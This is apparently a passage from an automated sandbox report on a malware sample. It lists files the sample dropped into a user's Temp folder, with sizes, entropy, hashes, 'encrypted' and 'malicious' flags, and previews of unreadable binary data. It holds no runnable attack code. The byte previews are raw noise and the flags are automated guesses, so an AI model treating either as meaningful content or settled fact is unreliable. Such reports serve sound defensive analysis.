Preview:	..T.i{iF}.0.h j.=5.%/.T..{<a.ty.........~....2e2.[_..k..I..?...R.W.m.jg._i....?h.Y9h.a}L,..g..%..._....i.....h7..h.....\.`r..1.hD.I...i.!c.o".F...._...'.Q....c...Pxe.Zz>.Y#aN.nJ..p.[b.[...P.Vif.v.._........E..dc.]....t..8..4.Je0..8...1'...;...Zc$...k.....E.K.....G.eS..t.....ae.._...c.....zl..E....b..M"...:o.....Z.5u.[i....f.d.......B...c...k.....7..%...!.=f........h..f......{u....aNr`.XwU.M..X.....1..Y....J.j..k......(4.+L..O.ZR..'.......?v...._..........;x..`..<Y7.....t.eq..N....b.lX..,......r.r6H.Z....I....6tA.jK.~...f...M..ydqT....;.......y........1(....z...<..A....p\x.."...".&.\|.....@....m].4$G..,....q.&.C.....hC\|p..b3J.&....;rI...{.........e..E4P....n.v...g...V2....#.......F....&.M-....ylx....Ww......Y`.y.UU.E.....I......Dr.....<...p[.....-..O...zy>s..{7P.....Us.0L!.@.(.+....j.}b.....>.K6:.H....U.D...3n6.<Q/<.ww^`.....Z.^...hD\|..A".....h.j...>...0.<.. ..y....J]..O.liIM....w..{..i=....vZ....Z....d......G.y....^.s=....<A...*:...

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258b.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	289976
Entropy (8bit):	6.697182255851007
Encrypted:	false
SSDEEP:	6144:4BZ+gu724VggXSZ6t97EVVJz3bu676u6QzIcGnivkuX0b39/22ZOKyymLe9qDOeJ:4BZoKTEgIJEJ3bLzIcGnivkuX0b39/2d
MD5:	D53A1D42EF1B6E72B69C0DDCE518C220
SHA1:	7AE622D58E60A733F13129B057D09C3E84CD5FA8
SHA-256:	07408D8CDC54A4DD01547C5C229C8AF56A0F4F645CFE9250D4B5BC0FA0239FAB
SHA-512:	64007DD3CC7A5360B7F6BB599E8BA6E58CC24161BDCAECF13FD56A253C6D12FB588CF15C933275B87B8192A2FAAE96BA6487B82D1DF17980A0BA9DF68911EF07
Malicious:	false
Preview:	..T.i+...m-?...#..k...Q..v....7e$reQhS7.wo..C..5.....gCJFNj....J..p...<'}..#...X)..x.uj.<(a.^ ..MQ./..x......o.V........+5.5\.}.5....B.\..O).98e.-..t..F.yGZHf..:l...).._~}....2......a+u.jW..A...~:..S=..b....)"..'xL.t.>.....&..2.B.....I..F.U..,.s.....sB.@.&M..@...$K.i....a.Ed..K.f...E........5q.c/}...`...=.}.%.C.\|..'L&j...b.{[.J...d...8%....)....Xo...t).....l..?.v=........[.c..,....s".0N.^?..:IQ..!.q\|...j...3>{...g.R7.;.M..f?F..y...Wf..o.@..&g).3.S4.E...a.$h.zJ#rx.(.%...A.\E.E_^_Hl.g.[....K....\|.C.,...".....a......V.......I.........:"..NX.l.x..V.ih$.....).L.....i.G! <z}."Mw>..cF.(.f........S.......2V.U*....-.7M...+...T`.H.......SOL`.h...a..Fd..B.M'[c..z...V....{.......X.pt...D...Q./.\|.."}.M.....c:......./..D.9Lk...2.....w.$2.M..4...V.t.b.7....E.]..n.I...i.......ne..%..EI.K.5.~.........=+h)..'w..r..WzI..E..(..q0C}..8...:];I.....~.)..,2..$.z...m.....M..!_.\.I.F..'......a...AcJ.<.y.y...7F0..@......M.yn..IDb...i.y9`;.1.\|1.k]E.....

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258c.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	98568
Entropy (8bit):	7.998121601039117
Encrypted:	true
SSDEEP:	1536:Cu05ZlODVwW/kVyvdUDIdveKDcNGwUtevSodIbmEzJgUuljBua7g24Ld1ux3qsxl:C1DlW/wkdUWv9g1oeEJijBP7mLd5bXU
MD5:	DF11D92E7BDBC96B4E696E9AA6E7EF0C
SHA1:	D5FBFD65E10262F8662F62367CF5AD35208A338E
SHA-256:	374BEC23EEA8055CDF6B0B15920206F7D05A3339551C9C81FC39154EE5FE4C9A
SHA-512:	F575ECCB883DD1A641F8E70CCA047D48BF442AA3E7C8A093BA7D9460869363C6DB71A7010E3B0D38D4593E619BFECC4A6E9086C7575BD8891F2DD29018FCA272
Malicious:	true
Preview:	..T.iT)....F.H_u..?LN~.L.V..h.x...8.../....f{..o.I.......5.!..-..,.e..Ra..D`.J../..Q.je.+... XET.:/.\|B.ex.....;PP./.&ZG...0^M..G...E....y.v~... \|.[z.B..z.Y..n..(l...E.......:..l.\|.]@.....3V@.....H...Nv.w:M....6.........e...:.....\.O......\|t.R.Y......[T...?.K.s.ie./.bV.^.X.}..,w.....\......g..m...J.z.......+ ..T.(8g>....K..%L.....)?......(.B.j.(x.'.7..#!.PW..ZX...+....tT..x....n......du.. m......!....tRk....L.k...Gsw(c...O.....8..^..F....E.%\........B.2.e)9.<...z.8.....^..#b..*.....j>.o.2...X..q...?..g.h.6.:u..YM...u..Z........M......CI...Te.....P.}.s.&.`..g..}N.W&..W%/...pS.....H.1t..f}..1..Z).....1g.J{4s1....R.w.x,4....!CU.k..R...t.z...D3^...1...8O_....T.....1...,.i..$]..,...;C......<....}].e.m...Ow........cL:.C%.@~..[Z.M.XZ..=.%.v.0....D.>.&6.2.4..GvY..,._3P....K..2v...w.RZ.M....[p.O].~6Pd.^..kS.2....sr...^e.D.;.."...+.[wu...p'.1.>....[..EQR.=..f..{.....y2....T.....z..M.h.r.a.2>.j1D#,T....g...2...g5Gd]<!..&ln~....;..tQh`..

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1305.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	395914
Entropy (8bit):	6.09618555739411
Encrypted:	false
SSDEEP:	6144:u+J3isLqYdhs2JJ49vm2L+OxhxIS86dRS9z3PQ3B:lisLqYd/Atm2aOTxpO3Y3B
MD5:	DBF5CDD490E8EA18BC93A134BA207849
SHA1:	A2B0C3BEC74AE43A5EDCFC908D74D416E489FBD5
SHA-256:	52F32735E2770FF34A1FA757C548225AA56EDDCE2C0E12EE8C6687570DD51CEE
SHA-512:	C2F210575E2F3ACC87E140A573977BFA93A2E07D71F1DDB059D5050C56A08E496A75BF308556DED1E48A58FB1FF0AA03570D57FD7DC9FC5636F836C5FCE9561F
Malicious:	false
Preview:	..T.i..]...F.49./W.N..W.T..&...&-.F0.U.?.;.,........f..Y.W+.&.)>..W.......o.W..BK...Q:b/x.....R..c.Z.....h..6..<I...L.._m...n..x./".....d.`)JK.M..3_..$[...9..g.%C.H.="L..^.Z.US..............t}3.f...pyx.~,.4;../M8..-k%.S..C2P..;..;,$.....(.....^Gmb`.Z8."pj.gH.;....B.4lQ...w... ...C.w.....~....(.,..Dj....u.....RhH...E..W..&.%.]...:t%..4.....6s9.g w.]. ...'Q...4..[..^^@/X.8.B.......M.....o.fM0..X..8.....7..v.......c,..A..r?....(.fj..tA.#y/.6fZM...cy...._......~P\|...jp'...s.._....'.M...\...... ...$.=."..'GdQoa).v{#a..G5_q.qO....;.d....~W...o....9.f.EU..W.MF..l...U...G....$..Wgo.../.k......q......,I..Xd..-c.'....;.h.....Y.j.2....E.r....a.D.L...?...k.k.@.t..q".w...f.F,[..[mh..&.#?......wZ.~ra....z.....0.z......>.@...[.0.E.d.xB?\|...T.7...1..$&...{bS.......MK.Q....u.n.n.u.Y....+5.......3F..W.S.k...._.MF~..".H8.J.....k^...^9..-k..X...]e...W....q............Wi...p.[..va.S#y.[/].?H...:.S..8.4..t^.0..jkY....(....$.$./..t....X=kwx.B.....52(.=D?...*......[

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1309.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.9987335616705195
Encrypted:	true
SSDEEP:	3072:o2Ej7ojPSVX9vQIg4JPU4izNXP4y0Y0khmOfEoXH0xsJGb6vM3H:VN9CJPU4GXP9FmjOHjob6I
MD5:	342E330F217C8683E4082B7720445740
SHA1:	D05AD8BB0CF5D0DD98F857528DB2C85008A094C4
SHA-256:	55CF42152D6391466DDF982ABC4D345D32FE2B17CCD89B27557749E901C26AB1
SHA-512:	CA37846EC56EBD90B98C27F6FD2A0F39C2B07B59A75C1CA57677988D728CB9EC61FDE2BFA9FD889191BA0B1939D2E3EB8F28221C3F013038D709B0C81837B741
Malicious:	true
Preview:	..T.i....]....v).&R.....U...,.K..e..#.qi...m...[4."uA.M.y.v.U.9...T.G.l..p........4...~....... ...SN...in.i.a ..<%B"..f...~}$..?..2.....=.B\|..y.i...V......^......^Gp..4.a..XqA./.........O.7..G7..A..Q.=5..?K1.<W..]..I-q..SJ...a\/^......(...Y.....T:!..`:;A.F...m..w$.x.....%G.O...ak...v..+E...!....b.?_1..N...9W.!N.y...l'.N4...@..".s.<....x#U7.....z....ys.EWp..%..6.!..V.4........T.r........vN#]...qL.....N....d..N...E...}..s....W.U.(....qU..KEGm...CY.....O.F...<d..,&...8.%XS..........f...zJ9....I...?.j...H...].......Qy.i...p.E.I..6Ue..s... .6..\....e?....?...P5M..o.h....d.../. \|....\.c......%S...Z.l..K.Fl.i.@ ...t.0#v.t....%L..l.R?R./H...N5..x.;.........[.G...X.{V.].,~...Y=..w......\|..p......V...c......h..:Q $.K.w.[....g.u.....U...'..^+..8:..@.9.g..U..GD..kw.....jt8uP'.n..J)..Li.L\P..}.q).v\|7..M...5q.j..4.j.#.R..8....#F..d........\H..4..Rb.qg...b.<P..&E..Q.).T1.....#y.6....;3..!........y.<q/k........."..../.......z.....?...}Lko.

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (4898), with no line terminators
Category:	dropped
Size (bytes):	9798
Entropy (8bit):	7.979559640741874
Encrypted:	false
SSDEEP:	192:kIWlFgDUEHfZfwhJHV8WJKs3yC/BrS20wbe0o8N44a1G+C8eIXJkaM9:kbgDUmfWg0PcLhfG44+C8eQs
MD5:	4476D5CBB81AC24634063C20264AA60D
SHA1:	54458B6475C206DC3DAB91CBC7A6AAFF426B5A47
SHA-256:	7B81F1AD9F959481623DEADB460C6B46777F4E855C3C09EAEC91290F5A245E8D
SHA-512:	F1192D482AD46DC31795936CFF20B1576BCC62979EC1013850DB4AF406E2097610EAEB4E5CF9FCFD78A7F6012E243893DEE6B3191E985C35B9717609632F3076
Malicious:	false
Preview:	..T.i..6...x.Iy....e..))..L&"b^.J..t.....>..g...s..p...v[.j.8.tg....2..A.h..S....A.. ..SB@4...\|S....{.....5....M.......oR....`\.Z.....x8..=..{&.0......N...o.cRH....8..M_..v....{..t...>!....v6.;k.9DR.Q..,Qa.x...z.~.z.J.....6.Td..i.5...z"...\|QmE.#..+...%... ..e...7k.5...wD....Z....A...>....\..d...&.Oa..7{.EG..n...y{......-.pw."W.:Y..m...&Z.Ac..oJ..B..L...v..C,{B..uNg..~..;...N...f7.....b..r!....P`Yl[..(...nh$.g....2.!B.l1?.r.XMd.$0..Q.N1...)...PZ.?...".X. .+.d....%..V^<..a.3....$..q....p..4.[jR7u-.8b..V.....W.......8....x.}..."..h$D..C".,6..b..K..F..l.X....Di...NHFJ...^.l....RNj;.`..^.U5.....DeX\|...ft....P.n......w..g.....l.r..Q.....'@.`..p..n.n.C.O%.A.b.Bhl..H.Zy...F.y?.....WY.S.}H.....[.E...`......I.(>...B.u.....[...%.;.B.)..n..O..............)\|....h..H.'....@..#..(..8.B...I"~.utQ...s5.a.>..q..G..x.. ......O...]u3...Qu..m.`......td.=A...^[...h....v..^6r.........r...l..[..iS].[,......../.re....U.}..C~......-;=.5...s.....*....7~.9..z

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929a.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	58820
Entropy (8bit):	7.996591867462031
Encrypted:	true
SSDEEP:	1536:IbjwJ9lO4RWX3O9y1B28TC60oUQ8ou1//jaa:qjwPsKWX3l/x260oUQ8ou1b
MD5:	E9D5B0FEECE47B7E96C0CAA3D241B2CD
SHA1:	44E4875DA7BAFE95600D31183657BA9F277DB769
SHA-256:	7A7F4CB5BA73B2DF70D8380675249ADD9D1D9277895F58E9788F7C86DF6301F4
SHA-512:	4312EC40ECF67BA6A541907893038CAD3F4A613B8100BB20FAAFDF3B36C8A83DF0513A13CC13BAEDFD298F791E9BF04678C3ECD9DD41452928065AB88D862AF8
Malicious:	true
Preview:	..T.if.'.+...w.JH>'.(...+.J.d..O.}....'....7d\..K.x...\`.c....HAd...D......j.q...N.^....v.;........xpp..n]..]&>.}BQ'v.6........E...f11...../P......{n.,vN.+......T8,Q........l."-.1h\|.b.....g#.Af.../...x..........\.f...Zy^O.....(.....4[p.c..{#KT7...`.a9^..D....F....6..n...[D..c....6....&V.f..M..Q....R.c...Svi<.i%k.o..z~....M'QE,..,.d....~e.3.1>,4..dM.8.?`.6...(..6Je%...\.,...Tv..+j...g.X.b-k...../A..N.~..f..=".\|..1.9.H....(....M-q.a~.i.."1.KA`.....=.W\|.FU.Fy.~m.F...u-D.....d..J."?.Z.NG...D.(...2.}P$.n..h+..3..."..c....f....'.....,..P.;.'.RK<}.R..+.......7u0..^.^oD..Vq-(.;.s...... ......a.?..Ae...i....Q5.'..IY.O....v....g...d?$.b.nV.R.`\.."...m..FB.E..p(Y..W..(.p...(!w...~....hy...._r8no.4..P...t..x\.t.~.'BFc.h.#..W.+=.kY..j..EC....G;...bHZ..C..1..Q....]cC..\..}`A.,.......E..V.....b......?.D..S...v.i0~}o.[a..R.....Z....R..A...^....\x....?..#..@.a:]... .Q..B..P..G..U.K..Q\O...i.Q...Y.q...?U.+B...N8tB...>.&..H.t.C...xB....Mi..s..R....^.

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929b.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	112686
Entropy (8bit):	7.998354659916449
Encrypted:	true
SSDEEP:	3072:JFd2KY1eginPh4MtjojiguUPBFMnS9NGNHg:JFd1ke1Ph4Gsi04nS9Ig
MD5:	009A13DDE0D75B478D9B725FE730D961
SHA1:	9D137FD1CF5B5A14938F49469DFC74F1D10CDDFF
SHA-256:	E3A8A6AC18A3304FF3F6930BEA6254D5B460E0803C28DE6FA528F521E4875965
SHA-512:	5E23C91FF74BCD447DF1F6E4C31CC00C3212B130D2C24B644E1592F6F049AA83BAEA22B5B26AAF78161B52C397A0CF8A922205CD15641ED5FE0B957A7CA74DAD
Malicious:	true
Preview:	..T.i...n]./...}.....mF..6.&P_...J>$tEX.V.].ddDvWm...s.U`...+..v.".S.o....`.G...r7.....p.>bx...$..o.t.`.O.......4\.}WT.yZu.h.w.F.....P.......qK>pX.r..$'...].+.\|..0)..N..u...5.D...Y...{..F\|....R....PqE..k..Z....."H.C.........1..r]\.i...h.l...yw....#..P.........dS..$.:.IR..%.H..kk.:..".::......8.Z........"."...R.Iu.S.H.~..xV..........XV=..S...6...c.....\|6....}..rE... H.j.G...F...F. g..#.....6.......1q.....IU...u.....c=...E.e......d.+n...../<../....=ks........N...).....i.U...Vm.Uw...o...S..........{..+....:.nDd<...)S..pPt.'........rC..e.<.j.s...G6...&.2.o....%..7;d.i....h..y..9.....y..............u..27X..Y....jR.....{....%.&.y.......Z..4A......`"....).L.@._;.../.#..._.;..........l^f.....t....N..Z..f@l...r......6...{.N....2...1+q.vu.,.\...g.^..bD../.....k)..A^$..X.Z...c}-_0;.6.1l..YroGu...;."ZIf.t.........Qa.MQ\|.b..B.xt.P.-6..9.....ox........n.fvrc..1).......HxA..<......o`..k.`...?.}.`.(..n..j4.fdY. .K..R=g..*.}.....-..3k....\....

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929c.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	7696
Entropy (8bit):	7.9763538744471605
Encrypted:	false
SSDEEP:	192:O9vz63j2KO+4FG6yTsPgJTAPQUIxmZMO/246j7Cf0n4:O9vz6CKORFG6yhUQXoOO/ijA04
MD5:	5EA4C71236BD3B478D8EAC2B1FD1E249
SHA1:	078F1FED59F0A359FC1F3AA3F8021EF9B433709C
SHA-256:	780029FA4C04EB9C64F757EA0DFF747D4CE8EB1F90417DB760487D365E012340
SHA-512:	8500ABAB75D784C4A6A8DCB92351CD287AE22583E4DA7147B2A93E3CCF8AE40E1F240DF2435D5132C62247ED26C8C90E02CD740A9D2CACC2824334A81495F248
Malicious:	false
Preview:	..T.i..g.#tD.z...e.%...........e....Nz.k..S-..:....H.......g...N...\|..B.1.\|.Vl?.e...>..b>...d..i~.....[s..FPmQ>..j....7.6.xB...YeZ$.CK.n..?..XDh..<.q..{E.:..W..H.n...W.@^.6......._....H...Ue....6..NtU.2.e.>../..y0...f.2..^.2..v....{.X....,f7\|....Z.p....iC...'....;..E.=..x.uT...@E}......@.h...9u........%......2.WP...am.mt..^.I...ue.KE7...c..YWMso$.^v...9."...(.F.a.....Qp...1..D...P.C5..{....Cl<.....<...&......<;U........"..z..@.v.,.BMP...M.[..@....&...7..I.s.C.r..}..........~;..?..G...D..,.;.....\........h.....C...V)Z.9P.)C/...IC.3......."Oy.9.8....!.h...p@%..b..43AE$G.>..T..5.z../...j.X.-S...f........+..F.Q)".....]..t...?7.LR..er.....r0.:..'.Q.;..[..nf.t.....R.....pV...<.A..YC..(.RG..G..ac...Byhu.......AJ.v...E`.z....@Q.B.......>R..4..F.e.0R..?..#>/.}...f........Z. .*..O....!.J.w\jQA.`4....4W.:.?z..}Q%P..,.."\|.......[.3G.....~@).P.8.CU@..f. FW!..q.#:.Z.......(.....n..J:i.....-eK$M{A..L..v...{.l.x..07yXu....gX....n.w..95_u].j...@.b..lY.

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1000.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	40082
Entropy (8bit):	7.996056635060008
Encrypted:	true
SSDEEP:	768:0CF3eFdujRHmujwAHf6ootlYikC88/O6glG+iOFoJggQk/G9UV7yWYiTUxHX:TF3eF0jR9j9eqZC1/O6MFUtLYiU
MD5:	39A49B9137E8B0768FFF415D939395AB
SHA1:	99CE27956AB28243B1E8B19325B633CF2A2EF168
SHA-256:	B0B6D7908F969F502C3E6706002757E0C3EAF51233D1C8149384C19D399032B1
SHA-512:	4875B284034C181FD1C9E73A5B7A43B3B92E548F587181A4AA503E2D82DF88A30807388BB9A7193F300AF71E29732FD82AEA840703940ED747C8345707A412ED
Malicious:	true
Preview:	..T.iD...D.Vt..5.B......F.r.$......J.....M.....#N3.e..hk......[q..k....&7IL.W..^X......<.x.....................3q..#...B..Z....X..x..}6..afbQ.WgP.k.=.a.A....;U..<..!.......U...'.h<+.D]........Y..X;X4..."..\.@.u..S...;_.Q.A...^.%...FZ6D..+.).....k..0....w..2.......-..h.%...Uu..b.=.~.o....R.1..OS.P8.=v.la..Xu.]....^.._....C.......,ps0.\|.Z$..S.v).b.."0-.A..;T...Z...\......k.....N..Y..Ff.gU.F.p.'.W...@..W...../......^..}..zv..n.Y?X.V..c+.c...'.C...aS.V).).........s.,..w\|.\|.`.Lr'.i..W_..v...........m..~.e..f.<...(.J..K....\..:.W...}..W..."..t...../.}?x.egj.,K.&.J....u......\.....q...V..)x/.~d.p.lpc&.1......n.. ........=.~.........Q....2...!.d!5br...<?}.'dO..._{...... .'...j..'D...Vo..P.>..>4.s.?S....m...u7.6.....J...#./..v.(.............'.Q=g...k.....ya(.?.}...a.D..?...)E.......?......Q.....%..rf.3.X{ .../A0C..../.%.OD.\..{..v.b;..Z.r.*.r.h.>.N.S..\.7..i..........V...Z..M...N.A...n..\|/,..R._2.....2..m[h..kg....$....D-U....@.N

C:\Users\jones\AppData\Local\Temp\chrome_installer.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	6256
Entropy (8bit):	7.972139865225578
Encrypted:	false
SSDEEP:	192:vSBjoCJfpFubUZjhivyZ3Cboc4dRk60h2eX:vSZPDbViM4orr70QeX
MD5:	C4C3D07B73D56F1A0BA96C90F06BD7E5
SHA1:	9F04719C61A0286FA5977199C7CFF26675B31513
SHA-256:	F14FFEF8808FBE98AC5F3A819CA29698A8B2F5ACCEEA2410800C95A8E73DF7B8
SHA-512:	034547A279CF9AC6337828D370CA68089319EED787BEC2A0712243C5114AF8474509DC7D4C926958EA3B77A6E167D4166234F42CE97B50E017DC8C782DAECFD7
Malicious:	false
Preview:	[1003."h 0..^" $5........U-...............^c.O..I.%..A.J.]e..[$....lI`M"V..z-.._..alD.....P.....G.Q..U..C........h.H...AM.K.e{@.N.viR....v..../d5.QM$....ku.......lI.....,.Y7.z..7..=.m.3c....7[Z..S%. ...'X......Q..t..p.I..........f..a.....]..w.].......M..'.......R0RQ..{...!.'....f.;...t.c&pP.T..Y..3R....!.b&.M..d...f.qC.#...x.pOF..8..''....w..w...l4ca...........g........A...>h...\k..%...S4...(@...Q.reh.R,...2.2$....E...Y...d\..;.d.,U\|.WW..8..R>o..ov....gG@O\.F....!s.k...<...$...S...[v.=5.b.{....vr..6..._L..Bc.k...k.........'..^F...b.....C.:0...'B....xk(....OL.>K.{~fc.;a.&y.../.-._j.;......6^n\.4.b..58`.....!5B(..&e..x.....\|.O....b.2UdN.M!.[.+.%V.8o....%...+.w..e..}/<....}}.....{!..$.........,6..%J.....LR..a..?.}U8<..A..hzX`...{....C...G..x..V.r....>..`8P%.\|.^.$.C....f.e.;....z...dI..AZ......F.........b...h[.y.....6.1............%..a.Z.L....#.K.....JU.ah.1-.P...#Bd'..f.A..&.k;..^....U..h..!.8l.;.G....kW.N....[A..b.QT...Z..F.-.W.........:....^...

C:\Users\jones\AppData\Local\Temp\hardz.bmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.1752642235605752
Encrypted:	false
SSDEEP:	3072:uzgWuIkc/8heRekjHAysYV71rcXYtt1uOFtGpqb1uJtCZHsbeg:YZR0SZHAXOMYt7xTQCZHsbeg
MD5:	691B2CE88799791C837D1708C9AB5143
SHA1:	01FEABBC6ED4F7FA9D7C34018CF538D175B5120A
SHA-256:	EFC3BB92E183D8119A4318A0CEE49CD37DCB30642B09E1352D5FAF5DAAF6B021
SHA-512:	DF6C80C666468CF80A79B9CABE3123EBD272E8D0EA09E455DF41A7E6C5825A4A1B66420B94F77A3FA364DDE0435788CE88FFC530E586F002CFB3FDEAE16761FF
Malicious:	false
Preview:	BM80....)...Iy;x....I7'.V..'5...K.I....Z..!.D..........'...B.r\....4....E.3"..........G....>...b.v..i.....-.c+.P.. R...}.R.N......q..HN.s..S.....s2.8.:a.$P..fZ......yd...a...U...ZX])P&[..5\|...b[_..]W..?..e...H.#.\..CQ...g...4..0..<...`?.]G.V........{....0.....$,......po(.j..y.]O.-....j.[O==.u............a.....?....4q..?.-(~.y....D.I.+.&:...R..m..q.o......<..06K.z...X..iX.;.....Pr.r...;Ho....J..J...0...E+...E...x.k8a.$.[..F]h..>..Z?\|.Z.R+....iU6p..v..^..t>..".=..}..5>.43v.z0..F..%...wM.!#.y<1~q.\|.,.Nn8......{>.%G....c.t...Lbv....)...%^$..Z..0.....t.pp`GV1.M.T..p...............#*!........n...z.^.$7.QB.\......{....-...A....q@m2..;.......{.XP..P.5[.g..U.e....$W..j........^.#7.nX....f.N..`.....{[.U.......3...b..' ..\3..]Z.......R.a/S.....>...Oh/.>2.....1......w7..rq..K~...zT...m.8%S.......2`..h.-L..4;'...?d..g.<..w. .../.nV......l.A...;.aK..p..0'......... P....(w.\|.?..@3nB2.c...O.%..x.p.....\..uN..b...H..:~..W/k.r..J...teS..R.q

C:\Users\jones\AppData\Local\Temp\jones.bmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.176123471608468
Encrypted:	false
SSDEEP:	3072:FJ6r0hz7fwvKm9QC6jNr1pIuCbH3+8j4MwzordMuf:Fw+z7umC6x529bHO8j4MbpMuf
MD5:	08A89B13A62E54D9199AE1C71683BCB2
SHA1:	EAAE448DDDC41D52F3AEB6C4297483D0BA0B89DD
SHA-256:	D62774825860889C81E80F90EBFFE4DD727C6116107E8D1EC88523337E0C945D
SHA-512:	251E719075E8525AA3B8949BF2C34262A7D1609CEFD8819E9435E7E06C4ADE77022997203EA61016C569FE01FBD774BB58B7514679C838D1606BD98512A06927
Malicious:	false
Preview:	BM80./.wqR..Oz..d.d...o..6.90.[n......?$.X..>`.\B...>....c.V....../}b..A...4.KJ.`.+.Jj...bm6.=R...p..,.b....v....oY..w.Uf...5f....4..s.BS.7eV..j...z~D%.x.. ..l...Lty..x...'.h..\y..05.I...=.<~,...H;2.\|.....c}x..vS~E...J...L?.9.&.....,~\|+M.EQ....K.ti.{.B..=."+.[p.R..W/V6..s6.f.\|..R.K.a.zz2x....^WL..e...a.r.....X.....}6.A..S.......C...Y./.f.HYcP....Ja#M..x..../.Q.f..L.f..tP.....1.H[....?"l.zCA..c.W..H.g.b."........g.........1.g.g>>.5...J\.H....t.t.s....6R....;........U.W....V..?.Zi.1.DkO:V.W..mQ.#..-.n..QQ......\|>\.."o...AM..n.....V:.+..L+2.0..j?........g........4..e......./.n.m3.....o.....Zd.H:..G...../...Gt..%N...!...j...$Nn......u.....Xot.c.HTp'{.3...~..H.!.....`.....n.S;..'zK+.E.\|.....XI.}.7..K...4..%W...*4T2.c~.>n..2..F/.ab.JK.L;...AN!G.^...... i.#U..D.i{..Y.....:..q.1.-...1....@...:..w.1.[....1.8......%FG.Z\|FQ...n..w...+.....\|p.....Y.....\|.z..D....Ns.8I....I..0.+N.Pt....x...@...^..\|....]9..lX..3....Xj..U...v.....t..

C:\Users\jones\AppData\Local\Temp\jusched.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	36700
Entropy (8bit):	7.99529605522289
Encrypted:	true
SSDEEP:	768:x7jlAUYT+OPQXrxov7BJlsy/4t26Syp5WRC3y:FGUO/6xo9Jl2tR93y
MD5:	FE081B3464C17FED8D1123761E32A987
SHA1:	7F2F81C35E8322A26A2CE8504C9F18AA1081ECAC
SHA-256:	753741A34CAB2FD22DF814F34C9304A1A34D67139B927BF830F201770C091F83
SHA-512:	9BF7913F2CBC02556D7E4FDFDFAC2805FB70F6D52A159BB3B35F98A54AD13EC3E20027CF7B4211EEF2EDF1368D5F00F369661414F6D40FD44E49F97D1DA4AB1F
Malicious:	true
Preview:	[2023....mx.....B.9+'...U...p...!!..V...!N......#..Y.t..^#...........)'....x.F.(....t..o....T."..8.qD...n+....+.......G_...\.Dmp.9w.A2.U......=!.o.....^.b.q.s\|.P>.._qhw...n..O#k......jm.. .......ve.:. e.....MS.....(..^c.7Ol.QB..lp..&4!).^..V....(...W.?..^....7<.-.p..w.^'Us..6.26......S.k~...}..50&....>6c.ET.z..+K.[..z....F......U./V.E..4.v..<.70.P..=..Z....)..VX....YCG.R.0.<!...O<...../.......#k..S.2V.&M..k....O.h.sbq.1...R......c.\..,....ZF...F..J....\|.......0...c....uUS.g.$....L..........m..<..,...m...=..;~.>xFo...H8....u%..(8.T....vN..#U'.4....--n.Ez..1_).......?tAE>\q..p.[..#..(.'..k.d..4......`q.8.p..Jcx..o._1.&...\.....;...R2.4F..V..^..".?...........1`.9..j$.{...3..Y?Iz."L...j.8O.,F.....*.O0.p .L%[..H.n.\.h.gv......z..'...v..jM}P..a}t.>w..P`.+...k.........0...O..]7...+....h..?....&....kT.n.../x.F.qe).no....Q.W.[............;.~_....nC..'V'N..j".sY....1.U..P.....qlWt.......h...e...b..99.'m....M...{~h&.\..T.lSg.CzD.\|.ny.......

C:\Users\jones\AppData\Local\Temp\msedge_installer.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	22093
Entropy (8bit):	7.9916787076377735
Encrypted:	true
